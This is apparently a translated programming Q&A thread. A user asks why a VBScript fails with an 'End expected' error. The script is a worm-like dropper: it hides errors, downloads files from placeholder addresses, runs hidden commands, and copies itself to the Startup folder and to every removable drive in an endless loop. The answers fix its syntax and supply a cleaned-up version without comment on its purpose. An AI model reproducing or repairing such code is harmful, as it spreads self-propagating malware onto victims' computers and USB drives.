On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
这段代码不会运行?!它给出错误“结束预期”
答案 0 :(得分:1)
控制语句必须正确嵌套。所以即使你添加了缺少的条件,
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
是非法的。如果你使用适当的缩进,那么上面的暴行就会很明显。
二读:也许你的意思是:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
一般情况下:“结束X”短语必须在一行上。
答案 1 :(得分:0)
你似乎不明白自己在做什么。尝试对VBScript有一些基本的了解。不要使用On error resume next
因为这会隐藏您的错误。尝试理解conditional statements,重用Wscript.Shell,AdoDB流和XHTTP对象等对象,以正确的方式设置对象Nothing
,正确分配变量,正确使用函数调用。使用Option Explicit
。
这是你的脚本应该是这样的(没有测试它,只是语法):
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
关于最后评论的说明:
您正在Start()
函数内调用Start()
函数,从而创建一个不可扩展的递归循环。经过几十万次迭代后,您将获得Stack overflow error
。幸运的是,每次迭代等待300秒,所以需要几年时间才能实现。
最好在do / loop
构造中首次调用Start函数(在函数本身之外):
Do
Call Start()
WScript.Sleep 300000
Loop